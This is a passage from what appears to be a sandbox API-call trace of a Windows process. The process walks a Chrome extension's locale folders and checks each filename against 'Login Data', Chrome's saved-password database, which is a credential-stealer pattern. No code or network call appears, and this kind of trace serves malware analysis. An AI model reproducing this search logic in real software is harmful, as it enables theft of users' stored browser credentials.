Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*" [0056.618] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.618] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.618] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.618] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.618] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.618] lstrlenA (lpString="ja") returned 2 [0056.618] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.618] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" [0056.618] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*" [0056.619] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.619] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.619] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.619] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.619] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.619] lstrlenA (lpString="ko") returned 2 [0056.619] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.619] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" [0056.619] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*" [0056.619] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.619] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.619] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.619] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.619] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.619] lstrlenA (lpString="lt") returned 2 [0056.619] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.619] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" [0056.619] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt" [0056.619] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*" [0056.619] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.620] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.620] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.620] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.620] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.620] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.620] lstrlenA (lpString="lv") returned 2 [0056.620] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.620] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.620] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" [0056.620] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv" [0056.620] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*" [0056.620] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.620] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.620] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.620] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.620] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.620] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.620] lstrlenA (lpString="ms") returned 2 [0056.620] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.620] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.620] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" [0056.620] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms" [0056.620] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*" [0056.620] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.620] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.621] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.621] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.621] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.621] lstrlenA (lpString="nl") returned 2 [0056.621] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.621] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" [0056.621] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*" [0056.621] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.621] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.621] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.621] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: 